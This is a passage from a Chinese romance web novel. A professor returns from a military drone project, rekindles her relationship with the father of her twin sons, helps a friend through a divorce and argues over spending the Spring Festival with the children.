温文是正儿八经国防院校毕业的,人年轻也正直,有什么说什么,这几天和方楷莹接触下来,更觉得方楷莹肯定是有不得已的原因才会跟这种人生孩子,没准儿是特权阶级的胁迫,现在他正气凛然为方楷莹打抱不平,却没意识到她正脸色阴沉瞪着他。 “我我说错话了?” “说错了。” 方楷莹盘着手臂,面容严肃、语气冰冷,“你根本没见过他,为什么这么说他?你们的调查就是权威论断吗?凭这些论断你就能说他不是个负责任的好爸爸吗?那你想错了,他是个很好的爸爸。” 温文也困惑住了,本来感觉这几天合作下来,双方已经混熟了,但方楷莹说变脸就变脸,好像他踏越了一个明显的界限,方楷莹立刻将他赶出去,然后便摆出拒人千里之外的姿态,送到宿舍下车也不说句“明天见”。 方楷莹上楼洗漱后,保密手机里收到温文发来的信息。 【方教授批评得对,给个道歉机会?】 方楷莹安静下来仔细想了想,也觉得自己反应过度,人家说的是基本事实,但当时她听到别人说甄世明“坏话”,就觉得气不打一处来,感性在那时竟然占了上风,现在冷静下来了,她回信息。 【接受道歉,不会影响工作。】- 温文也为道歉做出实际行动,向上级汇报请示能否在测试期间给方教授放一天"探亲假"。 他没有告诉方楷莹汇报审批一系列复杂的流程,报告批下来才拿给方楷莹看,只说:“最近一周你可以选一天回去看你的孩子,提前一天签假条给我就可以。” 方楷莹终于又对他笑了,“真的吗?” 温文看着笑容,点点头,“真的。” 她立马翻出电子日历来看,温文在她身边垂手站着,歪头看着她数日子,问:“你不是特别想孩子吗?明天不回?” 方楷莹没答话,抱着日历在数蓝梦的离婚冷静期何时结束。 “后天吧,后天我回去。” “行,哪天都行。”- 方楷莹在部队的这段时间,蓝梦也在准备报名和复试,期间秦赫联系过她四次,一次吵架,一次求和,一次分财产,一次签协议。 现在终于要走到最后一步,方楷莹一早回城,先和甄世明送下孩子,又一起去民政局。 那天应该是年前最后一场雪,纷飞的雪花天降而来,大地白茫茫一片好干净,方楷莹想起曾经一到下雪天,甄世明就得带她吃铜火锅涮羊肉,后来她发现很多地方的人都喜欢在下雪天吃火锅,就连她一个不爱吃火锅的人,也和安妮吃过几年,现在想来,每次去吃,依然是下雪天。 今天也不例外,条件反射似的想吃,想张口问问散伙饭在哪儿吃,但又怕蓝梦秦赫吵起来把铜火锅给掀了,于是一路想来想去,却默不作声。 车子在路上缓慢行驶,甄世明忽然开口问:“我以前怎么没发现你爱运动呢?” 该来的总会来,方楷莹解释道:“我没去” “不用解释,人之常情。”甄世明脸色不佳,说话酸溜溜的,“和年轻男人一起夜跑,荷尔蒙和多巴胺共同分泌,汗水和口水直往出流,方教授排解压力的方式还挺通俗的。” 解释没用,他不会听。 方楷莹定了定神,干脆顺着他说:“我不想和你吵架,但你要这么说,我觉得下次压力大的时候倒是可以一试。” 甄世明扭头瞪眼,“你——” “你看路吧你!”方楷莹不容他再多说,迅速道:“谁再说话谁是狗!” 大概也只有她和甄世明会把这幼稚的游戏当真,还真就谁都不说话了,甄世明咬着颌骨目视前方,方楷莹也盘着手臂别头望向窗外风景。 明明分开还很想念来着,一见面就掐起来,又觉得互相讨厌。 甄世明看着前方一片白,空凉凉得像心脏,终是气不过,手掌越过操控台,在方楷莹大腿上捏了一把,逼她先说话当小狗。 “啊!”方楷莹尖叫一声,尾音又变了调,声音听起来很…暧昧。 车内一阵沉默。 方楷莹闭上眼睛后悔莫及,妄想着甄世明忽然失聪没有听到,或者就算听到也不会做出评价,毕竟他们还在进行谁先说话谁是狗的幼稚游戏。 但他的手始终没有从腿上挪开,而是指腹贴着游离到内侧,骨节分明的手缓缓向上,甄世明轻抬眉角,唇边笑意浮浪。 “再叫一声,我爱听。” 第53章 方楷莹确实有点儿迷糊了, 竟没能张嘴再骂他,只在心里想他不要脸! 虽然心里这么想,但身体却没有抗拒, 甚至期望能得到更多, 指节将要触碰到的时候,方楷莹喉窝轻咽, 呼吸变急, 脸颊发烫。 甄世明的手却又缓缓滑出,收回时他感觉到被轻轻夹了一下,不舍似的。 他弯唇笑了笑, 装作无事发生过, 说:“到了。” “到哪儿了?”她稀里糊涂地问。 两人一见了面, 欲望就这样被一个小动作轻易勾扯出来,她压抑得久, 此刻满脑子都是黄色废料,几乎忘了自己是谁、要去哪儿、办什么事儿。 车停下, 他说:“到民政局了。” “哦。” 方楷莹与他对视一眼, 又匆匆掷开目光,甄世明那双眼睛眼角如勾, 勾魂摄魄, 目光也深暗, 牵扯着她跌入欲海。怎么看都像蓄意勾引,但他转瞬如常。 “下车。” “哦、哦。” 方楷莹下车跟在甄世明身后, 冷风拂面都没能完全吹醒她, 目光始终跟随着他的动线,留恋地看着那近乎完美的身材、修长昂扬的后颈、新修剪的头发。 而他仿佛知道有目光始终相随,站定解开羊绒大衣衣扣, 衣角被寒风吹起,直撩入方楷莹心里- 方楷莹心猿意马难以平复之时,蓝梦和秦赫已经领了离婚证,秦赫出来看了一眼方楷莹,一句话都懒得和她讲,在甄世明的陪同下离开了。 “我还以为你最近忙,不会陪我来离婚。”蓝梦拿着离婚证在她眼前晃过,唇角弯下,语气中透着一点点苦涩:“这手续办起来也太快了…” “你后悔了?”方楷莹问。 蓝梦一扬胳膊,离婚本在手里呼呼啦啦响,声调也比刚才更高,“谁后悔啦?!” 转而又坐在方楷莹身边,脑袋依靠着她的肩膀,情绪迅速低落,“我只是觉得……太快了,其实他也是个好人来着,虽然我签了婚前协议,但他还是把自己的财产给我分了一半儿,让我以后衣食无忧还能挥霍……” 方楷莹:“我怎么听着还像是后悔?” 蓝梦抓了抓自己的波浪卷发,今天画了全妆做了造型,本打算秦赫如果拖着不来,她就带着黑化烟熏妆追到家里去骂,没想到他还挺准时,人还挺痛快,蓝梦像泄了气的皮球,砸不出个响儿来。 “你说这人是不是犯贱?”蓝梦把离婚证翻来覆去看了几遍,“在一起的时候哪都不好,临了分开了,倒把所有的好都想起来了,见天儿腻在一起觉得忒烦,但想到以后不能在一张床上睡觉” 方楷莹也深有感触地点头。 两辆车一起出民政局,开往不同方向。蓝梦心情不好,秦赫留给她的跑车由方楷莹开,她托着腮无聊地看着窗外,忽然说:“其实他挺舍得给我花钱的。” 而甄世明也愿意给秦赫当司机,秦赫点着一根寂寞的烟,半晌后说:“其实我确实想用金钱腐蚀她,让她安安心心当家庭主妇。” 蓝梦:“其实他平时挺护着我的。” 秦赫:“其实不跟我在一起,也没有那么多人欺负她。” “其实他掏钱包的样子特帅。” “其实她自来卷的头发挺美。” 司机甄世明彻底忍不了了,把车停在路边,张嘴便骂:“其实你们离婚是为了折磨我和方楷莹吧?有屁不早放,现在觉得美有什么用?!” “等人家申博成功,身边全是年轻弟弟,还都高尖人才,共同话题一箩筐,没事儿一起出去夜跑流汗,到时候还记得你是谁啊?你还别委屈,人家会说你都多大年纪了还不懂事儿,怎么能和弟弟较真呢,气得你一口血喷三丈远!” 甄世明说得激情昂扬,秦赫咬着烟蒂沉思半刻,问:“你这是说我吗?” “你别管我说谁,反正我告诉你,既然人家都说不爱你了——” “蓝梦倒是从没说过不爱我——” “闭嘴听我说!立刻停止幻想,不许再当舔狗。”甄世明长腿一翘,长臂一挥,振振有词:“要学会掌握主动权,把控距离感,只把眼神给出去,身体和眼神形成一个X形,看似拒绝,实则诱惑,我就不信这一套下来拿捏不了她!” 秦赫听得云里雾里,只觉得甄世明好像几天几夜没睡好觉,过度劳累让人产生了一种另类的亢奋,俗称——魔怔了。 “甄世明……”秦赫担忧地叫他全名。 “干嘛?” 秦赫:“你别这样看我,我虽然已经离婚了,但咱俩不可能!” 甄世明:“去你大爷,你就说我这眼神灵动不灵动吧?” 秦赫:“……你手机震动了。” 就在刚刚甄世明激昂陈词时,方楷莹给他发来微信。 【要不散伙饭还是让他们单独吃吧,我想和橙橙芯芯吃铜锅涮羊肉。】 而不许秦赫再当舔狗的甄世明,停下激昂的陈词,敛回灵动的眼神,遮住手机屏幕回微信。 【东来顺还是聚宝源?我定。】 【天气太冷,不出门儿行吗?】 【行,我安排。】- 方楷莹中午陪蓝梦吃了顿饭,听她说自己不打算回娘家住,已经在外租好房子,离方楷莹家不远。 吃过饭蓝梦带她去了自己的住处,房子不大,采光也一般,蓝梦说原房东家里有小孩,在阳台弄了个儿童秋千,她看上那秋千了。 俩人在租来的房子里眯了午觉,下午蓝梦收拾停当去赴散伙饭的约,方楷莹去幼儿园接孩子。 橙橙和芯芯在雪地里打出溜滑,加速冲她滑过来,脚下没留神差点把她铲倒,早上就是这么一出,孩子看见她太激动,冲击力好悬没把她撞倒。 她把两个孩子揽到身前,总觉得不过是几周没见,孩子仿佛又长高了似的,大手拉着小手磨蹭着往前挪,雪花落在孩子的毛线帽上,落在她的围巾上,落在紧牵双手的袖筒上。 上车之后芯芯拍掉哥哥身上的雪片,橙橙拨去弟弟眼睫毛上的霜白,一听妈妈说吃铜锅涮肉,两个小孩儿更是手舞足蹈。 “妈妈,你好厉害!怎么知道我想吃这个呀?!爸爸一下雪就带我们吃!”橙橙双手拍得呱呱响。 芯芯舔了舔嘴唇,又咽下口水,说:“妈妈,我的肚子也想小羊。” 待到他们回家,发现山顶别墅的屋檐落了一层厚雪,花园、水系也都铺上一层纯净洁白。 落地窗内的餐厅已经支起了锅,方楷莹和甄世明对面而坐,每人旁边配一儿童座椅,橙橙和芯芯胸前戴布兜,一家四口围着热腾腾的火锅雾气谈笑。 冰冷的雪花也贴近落地窗窥看这其乐融融,而房间里的人因为太过关注彼此眼神中的温情,会自然而然地忽略外界冰冻与寒冷。 这便是雪天一家人吃火锅的意义。 吃完火锅橙橙和芯芯想要堆雪人,甄世明就让人把所有灯都打开,给孩子穿好厚衣服雪地靴,戴好手套帽子再领出去。 方楷莹对揉雪团没兴趣,先站在边儿上笑着看,忽然发现橙橙和芯芯玩儿雪的工具还不少,小到雪球夹子,大到能坐两小孩的雪橇。 她也是第一次看山顶别墅的雪景。 挺美。 曾经是有机会能每年都看,但她在预报晚上下雪的那天下午就走了。 绝美的雪景和玩闹的儿童让她忽然不想远远看着,想在今年参与进幼稚的游戏里。 于是她蹲下身,偷偷摸摸捏了个雪球,悄咪咪走到甄世明身后,扯开脖领子灌进去,然后尖叫着跑开,被逮住,被用力按在雪地里翻滚,最后和他雪染白头。 — “你刚才是不是为了报复我?”她一边往屋里走一边拍打着羽绒服上的枯草和雪水,怨声道:“我都快被雪埋了。” 回到家,甄世明脱下冲锋衣外套,用食指勾住被她扯松的衣领,凑近向她展示锁骨处留下的指甲红印,弯唇痞笑,“那这算什么,家暴?” “快穿上,你不露半个肩膀我也能看到”方楷莹虽然这样说,但目光无法挪开,那锁骨和肌肉都漂亮得太客观,太惹人遐想了。 芯芯一听“家暴”,急急忙忙抱住妈妈的大腿,替爸爸求情:“妈妈不要打爸爸” 甄世明把小孩子的头发揉乱,又遮住眼不让孩子看到妈妈贪色的眼神,故意轻笑着问:“我怎么觉得妈妈是想吃掉爸爸?” 方楷莹躲闪开眼,脸却更红,但芯芯不懂,把妈妈的腿抱得更紧,“妈妈别吃爸爸,我只有一个爸爸” 方楷莹:“……” — 这一天更晚些时候,甄世明和孩子一起进浴室洗澡,孩子们乱跑乱跳,身上时常会留下当时发现不了的伤痕,他进浴室仔细检查一番,免得过几天看到伤痕不知是怎么弄的。 方楷莹洗澡时也发现自己膝盖肿起一点儿,当时玩儿得开心没注意,跑着摔了一下爬起来继续,现在按上去有一点点疼。 她披上甄世明给的厚围巾,屈腿坐在客厅沙发冰敷,侧目望向落地窗外,雪好似要停,这夜却还明亮。 楼上响起口哨声,她循声抬头望过去,甄世明的手臂搭在栏杆,手机闪光灯亮起,拍下她的照片。 “无聊。” 她侧过脸躲镜头,脸上是笑的。 他拿着手机溜达下楼,见冰袋压着膝盖,问:“腿怎么了?” “刚才被你摔进雪里。”方楷莹降罪于他,趁他查看时,手偷偷伸去他的胸前口袋摸手机。 甄世明抓住她冰凉的手,脸上带有愧色,目光始终停在膝盖,挪开冰袋看伤势,又握住小腿拉伸,问她这样疼不疼。 “不疼。”她躺在沙发空蹬自行车给他看,“我刚才是在跟你开玩笑。” 甄世明一点儿都没笑, 好像她的玩笑并不好笑。 “明天一早再看看,如果更疼的话得去医院。”他很认真地说。 “嗯…”方楷莹含含糊糊地应,心里一直惦记着照片,说:“我想看看。” “看什么?” “照片。” “我看你一点儿不疼,”甄世明要死不活地模仿她的语气:“你不说‘无聊’吗?” “我看你是不是专门拍我丑照?” “我给你和儿子拍的雪地照片哪张不好看?”他把方楷莹的头发扑乱,又把手机丢给她,似是无意地说:“但你想想夜跑完你得什么样儿,头发乱鼻涕流,脸苍白腿发抖。” 方楷莹懒得理他,捧着他的手机惯性地输入密码,看着手机顺利解锁的画面,她的手指忽然悬停在屏幕上方。 那是他的银行卡密码。 他竟然没换,她也竟然没忘。 甄世明凑过来,两个人看着一块屏幕,照片里漫天白雪为她作衬,她又似乎融入雪中,画面非常舒服,橙橙的高级审美确实来源于爸爸。 脑袋挨着脑袋,气味缠绕着气味,时隔多年,方楷莹再次感受到十七岁时的悸动,他身上的气味闻起来和年轻时相去无几,依然能让三十岁的方楷莹心动情动。 甄世明看得认真,照片里那个人清冷文静,不会开口说话,不会让他气得睡不着觉,他更爱看。 但身边这个是活的,不仅会讲气人的话,还会用鼻尖轻拱他的侧脸,在亲吻唇角时伸出柔软的舌尖。 就像现在。 第54章 他们曾经在很多个雪天接吻。 每次都觉得时下这个吻是最好的。 年轻时在户外接吻, 她闭上眼睛,洁白雪花落在眼皮,眼睫坠着晶莹, 甄世明觉得好极了。 三十岁时人开始怕冷, 大多在室内接吻,侧坐在紧实的大腿上, 身体逐渐升温, 冰凉的手紧贴精悍坚硬的侧腰肌,方楷莹觉得好极了。 一整天的蓄意勾引让她主动得不像话,舌尖主动迎去, 眼神转瞬迷离, 内心情欲流溢, 冰凉的手掌从腰侧摸到腹肌,她发出一声急喘, 掐了一下紧实的腹肌,他很默契地停下来, 喑哑着声问:“怎么了?” 她低声又有礼貌地问道:“我还能再往上摸吗?” 甄世明怔了会儿, 头埋进她的肩窝,碎发扫过脖颈的痒肉, 低笑时将热气也融进肌肤里。 “怎么还是这么可爱?” “别客气, 再往下摸也行。” 她犹豫片刻, 还是轻轻向上挪了一点儿,虎口刚好卡住胸肌下沿, 她再也难以压下唇角。 但甄世明不高兴, 明明主动亲了他,手冰凉就急哄哄地摸进衣服里,现在他允许她上下其手, 她却又腼腆地退缩。 一手按住膝头的冰袋,一手凶狠掐脸,问她“怎么回事?” 方楷莹嘀嘀咕咕:“上次一天没起来床,但我明天有正事,而且我膝盖也疼不行” “那你招惹我?”他眼里欲意难平。 方楷莹畏缩目光,低声说:“那要不别亲了早点睡,晚安。” 人刚从他腿上站起来,就被他又拉回去倒在沙发上,男人脱掉上衣,身躯覆盖着她,凶巴巴地说:“不行。” 他依然记得上一次以身引诱没成功时发生了什么——她和姓汪的睡了一觉。 “我不能让你这样扎进男人窝里,你必须无欲无求地去,心里只能想工作、孩子和我,不能想乱七八糟的东西。” 方楷莹还没反应过来,衣裳就搭在沙发靠背上,亲密的吻温柔落在耳垂、颈侧,方楷莹揪住他的睡衣肩角,不让他再继续亲下去。 “会被孩子看到。” “孩子都累了,不会醒。” “我只亲亲你。” 他说到做到,方楷莹一边享受着极度的愉悦,一边担忧万一孩子醒了该如何向他们解释,在欢愉与战兢中,方楷莹度过了美妙的夜晚- 第二天清晨。 天没亮,闹钟响。 方楷莹在甄世明怀里醒来,轻轻关掉闹钟,偷溜出去洗漱,之后去两个孩子卧室亲吻脸颊,背起包已经走出了门,又返回上楼,站在熟睡的甄世明床前,俯身亲在嘴唇,悄悄说了声:“昨晚辛苦你了。” 回到无人机基地的路上,她的神清气爽被温文发现。 温文看着倒车镜里浅淡的笑容,弯唇笑说:“你昨天一天不在,其他人都像没了主心骨似的,我需要处理的问题也多了很多。” “这本来就是你应该做的。” 方楷莹对温文毫不客气,这些天的共同工作中,她和温文已经互相摸清脾气,培养出让双方都舒适的相处方式,她直来直去,温文也是。 他笑起来眼睛是月牙儿形状,即便是天还没亮,也看着朝气蓬勃,“我是在强调你的重要性,我大家都很不习惯没你坐镇。” “那现在我回来了,想和你商量加班,必须在过年前完成这个工作。” 方楷莹有点儿担心,部队纪律严明,过年之前项目完不了,她就得呆在这里过年,她没有钢铁般的意志力,更不谈奉献精神,只想陪孩子好好度过春节,她知道对孩子们来说,这是妈妈回来的第一个春节。 温文点点头,说:“我也有这个想法,节前完不了,年也过不好。” 她在进军事区域之前打了一个电话,又接了一个电话。 打电话是给蓝梦,询问了昨天散伙饭的情况,蓝梦在电话那头支支吾吾。 “嗯我们是吃散伙饭来着,之后喝了点儿酒,然后喝醉了,就一起回了婚房” 方楷莹在那头听到模模糊糊的男人声音,腻腻歪歪抱住蓝梦叫老婆,朦朦胧胧地问是谁大清早打电话扰人清梦。 方楷莹:“” 蓝梦赶忙找补:“不过你放心,只此一次分手炮,要怪只能怪你这电话打得太早了,人还没起床呢哎呀,你起开!” 方楷莹默默挂断电话,她也没脸说蓝梦什么,毕竟现在不止蓝梦一个人爱吃回头草。 吃回头草不好,除非太好吃了。 方楷莹这样开解自己。 叹气的功夫又接到甄世明的电话,他的声音慵懒低沉,说自己早上起床舌根酸,方楷莹脑海里瞬间出现昨晚的画面,他用按过冰袋的冰凉手指,还同时用带有热温的舌头,简直坏透了。 方楷莹想起来就脸红。 “我不和你说了,我要交手机了。” 方楷莹匆匆挂断电话。 电话刚一挂断,温文就让她交手机,看了一眼屏幕,严肃问道:“刚打电话是谁?” “必须要回答吗?” “必须,刚才车已经进军区了。” “……孩子爸爸。” 温文沉吟片刻,语气有种难以察觉的别扭:“你们聊什么话题?” 方楷莹比他更严肃,完全拒绝透露:“这是我的隐私,我不会回答。” 温文捏着手机,不咸不淡地说:“你和他说话时候好像和别人不一样。” “哪儿不一样?” “语气。” 那是连她都没意识到的羞喜。 方楷莹难以理解温文为何这样问,是怕她用“语气”泄密吗? “你是怀疑我们有泄密暗号吗?” “……不是。” 温文垂眼,再没说什么。 回到基地之后,方楷莹负责的项目比之前强度更高,她每天清晨洗把脸,随便梳梳头,就挎着温文给的军绿色挎包急匆匆赶到基地,忙到凌晨再挎着包走在夜色里。 温文认真工作时和她差不多,时常忙得吃不上饭,每天都是微波炉热两份饭,两人最后吃。 他们在饭桌上继续聊技术难题聊解决方案,方楷莹把温文当成聪明的学生看,非常愿意教他更多。 人们都觉得方楷莹很特别。当团队遇到难题愁眉不展时,她从不说丧气的话,当团队解决难题而雀跃高兴时,她也很淡然,这样的特质在普通人眼中特别容易被神化,于是部队里一小撮年轻人开始叫她“女神”。 部队虽然一直在整.风肃纪,认为称兄道弟太过散漫,工作时需称职务,但年轻人把她当成“自己人”,给她起的是好听的“代号”。 温文看起来和她关系最好,但从不叫“女神”,工作时他只叫“方教授”,其他人说他很多时候非常死板教条,但他认为,这是尊重- 项目快要结束时,她想起答应孩子要带回去无人机模型,虽然她脸皮薄觉得难开口,但想到橙橙和芯芯看到模型时的开心笑脸,也硬着头皮去向温文要模型。 “我这次的顾问工作结束,有没有什么…纪念品给我?”军挎斜在肩上,她的手指抓紧带子,明显要比平时忸怩。 温文笑说:“你想要什么纪念品?” “我想要无人机模型,想带回家给孩子…如果不行就算了,我回去手搓也行,只是费时间…” 还没等人家回话,她已经把被拒绝后的台阶铺好了,没想到温文很痛快,点头说好,愿意送她一个。 她伸出手指,说:“两个。” 温文:“……好。”- 方楷莹照旧在周末打视频电话,回家看过一次之后,橙橙和芯芯也不会轻易哭了,只是每每都期盼着问“妈妈什么时候回来?” 直到项目结束后,她在部队打出最后一次视频电话,橙橙和芯芯在镜头前转圈圈,全方位展示爸爸带他们出去选购的新年衣服。 两个小孩玩起童模游戏,连着换了几套新买的衣服,对视频摆造型,头上都出了汗,还乐呵呵问她哪一套更好看? 她笑着说项目已经结束,马上就会回去,还说会给橙橙芯芯带回无人机模型,芯芯在电话那头愣了愣神,用小手捂住眼睛,突然又哭了。 甄世明哄了大半天,又嫌弃她“提前预告”,搞得孩子和大人都措手不及,哄了好久才把孩子哄好哄去玩儿,终于轮到他能消消停停和方楷莹说两句话。 “我想今年陪橙橙芯芯一起过年,”方楷莹试探道:“你觉得怎么样?” 甄世明眉峰一挑,笑着反问:“那咱俩一起带着孩子回甄家,我该怎么介绍你呢?” 方楷莹:“……不了吧。” 甄世明看着她为难的样子,笑容逐渐凝固,“那你是什么意思?” “我是想…把橙橙和芯芯接到我那里去,”方楷莹已经想了很久,还给他列出诸多好处来:“过年你可以好好陪陪家里其他人,出去度假或者参加聚会,我会把孩子照顾好,你不用担心…” 甄世明眸光黯淡下来,语气也坚决:“不行,除非你和我回甄家。” “……之前的春节已经不能弥补,但我希望今年是新开始,这是我和孩子的第一个春节。” “所以更要人多一点儿团圆啊。”甄世明油盐不进。 方楷莹:“我是孩子的妈妈,但我们两个的关系…你不能要求我这样融入进你的家庭里,这很别扭。” “因为我妈?”甄世明显然已经知道了一切,依然克制着脾气,用玩笑哄着她:“你大可放心,这么多年过去了,人的想法也会改变的,我妈现在只盼着谁能收留我,让我有个好归宿,现在我带你回去没人会说什么,也没人敢说什么。” 方楷莹皱着眉头,说:“我们这样不对,以前在一起时的顺序就是乱的,但那时候我们可以用年轻不懂事来当做借口,现在我都已经三十岁了,不可能这样稀里糊涂地融入谁的家庭。” 甄世明不耐烦道:“你到底要说多少次我们之间是错的?合着在你心里感情也要有秩序,要有严格标准?你和姓汪的在一起顺序是对的吧,结果呢?” 每每到此刻,方楷莹就很头痛。 她总是说不过甄世明。 “我们不要说咱两了,说孩子行吗?”方楷莹觉得只有说孩子的时候,双方才能冷静下来,尝试着好好沟通:“我想——” “想都别想。”甄世明斩钉截铁,反对情绪十分激烈:“你想陪孩子过春节,我也不能和孩子分开,这事儿没商量。以前你不在的时候,每年除夕橙橙芯芯都会去爷爷奶奶家,甄家有很多人陪他们玩儿,晚上还会放两次烟花给孩子看,大年初一再吃包了金元宝的饺子,所以你凭什么认为孩子会愿意守着你过年?” 确实,至今为止,甄家在物质方面能给孩子的,依然远多于她能给的。 方楷莹一下子沉默了。 “说话。” “……没话。” “没话挂了。” 甄世明把电话挂断了。 方楷莹看着漆黑的手机屏幕,心里没来由地烦恼,重重把手机反扣在桌上,双手扶着额头缓了半分钟。 再一抬头,温文早已站在她门口。 作者有话说:大家久等,评论区会有红包随机掉落哦。[亲亲] 第55章 温文手里拿着两架无人机模型, 尴尬地站在门口,不知道该走还是该留,他解释道:“我是来给你送这个, 不是故意要听你打电话的。” 方楷莹坐在床边, 细弯的眉头微蹙,短暂叹气又无可奈何:“听到就听到吧。” 温文犹豫片刻, 迈了一步走进房间, 又停下转身把门打开,以免别人非议。 无人机模型放在她的桌上,他坐在对面的空床铺, 眼前的方楷莹眉目清淡, 目光凝着无人机模型, 唇角的弧度却显出愁绪。 温文也开心不起来,站在门口时就听见电话里的男人态度傲慢轻狂, 对方楷莹说“想都别想”,他听了都捏紧拳头, 现在更是紧锁眉头。 “我不太会安慰人, 但你要是想骂他,我可以坐在这儿听。” 方楷莹轻轻摇头, 说:“不想骂, 我们之间的关系比较复杂, 你年纪小,理解不了……算了, 别谈这个了。” “我不小。”温文立即起身反驳:“你哪次说的话我理解不了了?你也只比我大五岁, 好像总把我当学生似的。” 方楷莹不惯着他,眉头一凛,“那你下次有难题别请教我。” 温文勾唇一笑, 无所谓道:“反正最难的你已经教完了。” 方楷莹:“” “算了,不气你了。”温文扬起下巴,得意邀功:“喏,两个模型,一模一样。” 方楷莹特别嘱咐,双胞胎的东西一定要一模一样,不然两个孩子会为了抢一个而吵架,那对家长来说可真是毁天灭地的灾难。 “谢谢你。”方楷莹说。 “你先收拾东西,明天开完表彰会,会有车送你回去,我压车随行。”温文双手插进迷彩服兜里,往出走时忽然停住,棱角分明的脸庞出现一丝黠意,回头一笑,不死心地问:“方教授,如果心烦的话,一会儿跟我们夜跑吗?” 方楷莹正抿紧唇,盯着黑屏的手机生气,一听这话,想了想,回道:“跑,怎么不跑?”- 第二天。 夜跑到腿疼的方楷莹在会堂领纪念奖章时都是一瘸一拐,老领导亲切慰问:“腿受伤啦?怎么没人跟我汇报?” “没、没事儿。”方楷莹摆摆手。 台下的温文身着墨绿军装,肩扛两杠一星,双手放于腿上,坐姿端正挺拔,目光锋锐凌厉,但嘴唇抿紧,憋住不笑。 表彰会后方楷莹直接回城,温文带着司机相送,车在路上行驶得很慢,很慢。 “方楷莹,”温文忽然叫她的名字,说:“以后我不叫你方教授了,免得你真把我当你学生。” 方楷莹竟没想到他还在计较这个,便无奈道:“好的,温文少校,过几年你升到少将,叫我小方也行。” 温文胸怀广志,又实干笃行,以后天高海阔,自有一番作为,但现在他坐在副驾驶回头,露出属于年轻人的轻狂笑容,“这次和你合作很愉快,我是想问问以后我还能见到小方吗?” 方楷莹想了想,笑着说:“我挺乐意和你见面的,实验室下次缺钱的时候,我当然愿意再赚高报酬,但是如果你还需要请我,就说明有新问题了,我又希望你们能一切顺利,所以最好别见?” 温文沉默下来,一路再没说话。 直到把方楷莹送回研究院,温文主动下车帮她打开车门,但一手扶着车门,一手扶着车架,用高大身躯拦住她下车的步伐,棱角分明的脸上显出丝缕柔情,“我是说抛开工作场合,我下次想见你的话,还能见吗?” 方楷莹有点儿懵,“能、能啊,我没说不能吧?” 他听了这话才松开车门,又在她跳下车时托住手肘扶了一下,方楷莹想起最初见面时他抱着手臂嘲笑她,现在竟然也学会主动搀扶,看来是自己让他明白了尊师重道的人生哲理。 我可真是个好老师。 方楷莹心里暗想。 — 方楷莹下车挥手,越野车披着夕阳驶离,一转头,马路对面是甄世明,一手拉着一个孩子。 孩子们被爸爸牵着过马路,然后向她飞奔而来。芯芯撞进妈妈怀里,两条细长小胳膊紧紧圈住妈妈的腰,脑袋在妈妈身上蹭来蹭去,头发和方楷莹的羽绒服摩擦,蒲公英似的飘飘摇摇。 橙橙接过她身上的军挎包,把长长的包带挂在自己脖子上,蹦跳起来挎包直打小鸡鸡,小孩儿苦着脸,一下子把包甩到屁股后,又被包带勒住喉咙,一个劲儿咳嗽。 “咳、咳…好重…” 甄世明冷着脸取下橙橙的“上吊绳”,一边轻轻拍打孩子后背,一边目送越野车开远。 军挎包里装着给孩子们的礼物,方楷莹正打算向甄世明要回,刚一伸手,甄世明就把军挎包扔进车里,冷森森地说:“先上车。” 方楷莹只好一瘸一拐上车,刚坐定系好安全带,甄世明始终冰冷的眼光流露出一丝关心,问:“腿还没好吗?” “昨天夜跑抻着筋了。” 方楷莹侧首斜睨,故意说道。 甄世明:“……” 你可真行啊,方楷莹! 她算准了甄世明不会当着孩子的面发作,十分挑衅地看着他,一副“你奈我何”的欠揍表情。 甄世明攥紧方向盘,盯着她足足看了十秒,后槽牙咬得咯咯作响,却一句话都没能骂出来,丧气地启动车子。 “刚才那人是谁?”甄世明问。 “这次合作的少校。”方楷莹答。 “少校?看着年轻。” “嗯,二十五岁。” “夜跑就是跟他吧?” “不,还有其他二十五岁的。” 甄世明:“……” 一路忍得快要吐血,甄世明趁孩子上楼洗手,紧紧钳住方楷莹的手腕,一路拉到墙角,狠戾眼神死盯着她,凶巴巴地问:“快过年了我不想和你计较,但你这一句一句是什么意思?就因为我让你跟我回甄家?你就这么气我?” “是因为你不让我和孩子过年!”她甩开甄世明的手,刚一回来就心烦意乱,忍不住冲他喊:“我只是想和我的孩子在一起,但不想应对你家人,这很难理解吗?!” “不难理解,但甄家每个都是关心橙橙芯芯的人,难道以后每个节日你都要孩子二选一吗?”他抬高音量,分毫不让。 方楷莹怔忡片刻,再开口时气势明显转弱,“我不是这个意思” “我知道你什么意思,只要孩子不要我的意思。”甄世明烦躁地抓了抓头发,敛回怒目,又质问道:“我一直在让步,一直在道歉,还在网上报了8999的感情指导课,怎么就对你一点儿用都没有呢?!” 楼梯上孩子的脚步声急匆匆,方楷莹重新整理头发和被扯乱的衬衫,对他比了个静音手势,低声嫌弃:“不觉得丢人吗?等你老了千万别让卖保健品那帮人找到你!” 甄世明:“……” 橙橙和芯芯噔噔噔跑下楼,欢呼雀跃地飞进妈妈的怀抱里,两只小手都伸出来,迫不及待要妈妈检查有没有洗干净,她和甄世明互看一眼,又很默契地对孩子露出笑容。 芯芯和橙橙牵着妈妈的手往餐厅走,神秘地说:“妈妈,你想不想吃蛋糕?爸爸专门准备了庆祝你回家的蛋糕呢!” 一个蛋糕,一束鲜花,一桌饭菜。 甄世明知道方楷莹不喜欢招摇,把花放在家里,横幅也贴在餐厅。 【热烈庆祝方楷莹教授回家!】 橙橙把花抱下来,放进妈妈的怀里。 方楷莹看看这一束白玫瑰,又看看甄世明,心里的滋味说也说不清。 “妈妈,你坐在这里。”芯芯让她坐在最里面,好让他和哥哥的儿童座椅能伴在一左一右,“爸爸说你在军队里肯定吃不好饿瘦了,这些都是你喜欢吃的菜,我们先喝这个桂花糖水,是爸爸自己做的。” 甄世明:“芯芯,吃饭时候少说话。” 芯芯噘嘴哦了声。 一家四口安安静静吃饭,连橙橙也感觉到爸爸的低气压,不敢叽叽喳喳说话,方楷莹倒成了调节气氛的人,很久没见孩子们有很多问题想问,比如说“幼儿园是什么时候放假的?”“在家里每天谁陪着?”“最近小朋友们之间流行什么游戏?” 她最想问的还是:“过年想不想去妈妈的家里?” “想。”芯芯蹦出一个字。 橙橙咬着筷头思考一会儿,茫然问道:“妈妈,我们不一起去爷爷奶奶家吗?那里很热闹,有爷爷奶奶,还有大姑姑小姑姑,还有小姑姑家的小狗,还有还有还有我们的小妹妹甄羲。” 方楷莹无视甄世明的威胁眼神,继续问道:“如果妈妈不去的话,橙橙你想去妈妈家吗?” 